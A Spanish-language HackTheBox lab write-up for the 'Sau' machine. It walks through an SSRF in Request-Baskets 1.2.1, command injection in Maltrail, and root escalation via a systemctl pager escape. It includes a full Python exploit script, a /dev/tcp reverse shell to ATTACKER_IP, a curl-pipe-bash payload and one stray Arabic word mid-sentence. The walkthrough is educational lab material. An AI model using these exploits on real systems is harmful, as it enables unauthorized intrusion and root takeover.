> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md). # Solución de HackTheBox de Sau {% embed url="" %} {% hint style="warning" %} **Habilidades:** * SSRF de Request-Baskets * Inyección de comandos en Maltrail * `systemctl` Escape del paginador {% endhint %} ## Reconocimiento Crea un espacio de trabajo para la salida del escaneo, el contenido y los exploits. ```bash mkdir {nmap,content,script,exploit} ```
Comienza con un escaneo TCP completo. Puerto `22` y el puerto `55555` están abiertos. ```bash nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts ```
Identifica las versiones de los servicios expuestos. ```bash nmap -sCV -p22,55555 10.129.229.26 -oN targeted ```
El servicio HTTP es Request-Baskets `1.2.1`.
Esta versión es vulnerable a SSRF mediante el reenvío de cestas.
La vulnerabilidad nos permite crear una cesta que reenvía solicitudes a un servicio interno. {% embed url="" %} ## Acceso inicial Request-Baskets puede الوصول al servicio local de Maltrail. El endpoint de inicio de sesión de Maltrail acepta inyección de comandos. ### Prepara el listener Crea un script de reverse shell. Reemplaza `ATTACKER_IP` con tu dirección de VPN. ```bash echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh python3 -m http.server 80 nc -nvlp 4444 ``` ### Explotar el SSRF Usa el proof of concept enlazado para crear una cesta. Reenvía solicitudes a `127.0.0.1`. Guarda el siguiente script como `exploit.py`. Crea la cesta y activa el payload de Maltrail. {% code title="exploit.py" overflow="wrap" %} ```python import argparse import json import sys import requests def get_args(): parser = argparse.ArgumentParser( description="Explotar CVE-2023-27163 en Request-Baskets." ) parser.add_argument("-t", "--target", required=True) parser.add_argument("-p", "--port", type=int, default=80) parser.add_argument("-b", "--basket", required=True) parser.add_argument("--local-ip", required=True) parser.add_argument("--local-port", type=int, default=80) parser.add_argument("--payload-file", required=True) return parser.parse_args() def create_basket(target_url, basket_name): payload = { "forward_url": "http://127.0.0.1", "proxy_response": True, "insecure_tls": False, "expand_path": True, "capacity": 250, } response = requests.post( f"{target_url}/api/baskets/{basket_name}", json=payload, ) if response.status_code in [200, 201, 202]: return response.json()["token"] print(f"No se pudo crear la cesta: {response.text}") sys.exit(1) def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file): payload_url = f"http://{local_ip}:{local_port}/{payload_file}" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/x-www-form-urlencoded", } data = f"username=;`curl {payload_url} | bash`" response = requests.post( f"{target_url}/{basket_name}/login", data=data, headers=headers, ) if response.status_code in [200, 201, 202]: print("Payload enviado. Comprueba el listener.") return print(f"La activación de RCE falló: {response.text}") def main(): args = get_args() target_url = f"http://{args.target}:{args.port}" token = create_basket(target_url, args.basket) trigger_rce( target_url, args.basket, token, args.local_ip, args.local_port, args.payload_file, ) if __name__ == "__main__": main() ``` {% endcode %} {% code overflow="wrap" %} ```bash python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh ``` {% endcode %} El exploit solicita el endpoint de inicio de sesión de Maltrail a través de la cesta. Descarga `shell.sh` y devuelve una shell.
### Bandera de usuario
## Escalada de privilegios Comprueba los permisos de sudo del usuario actual. {% code overflow="wrap" %} ```bash sudo -l ``` {% endcode %}
El usuario puede ver el estado de `trail.service` como root. `systemctl` abre la salida en `less`.
Ejecuta el comando permitido. Asegúrate de que la salida se abra en el paginador. ```bash sudo /usr/bin/systemctl status trail.service ``` Dentro de `less`, ejecuta un escape de shell. {% code overflow="wrap" %} ```bash !sh ``` {% endcode %} La shell resultante se ejecuta como `root`.
### Bandera de root
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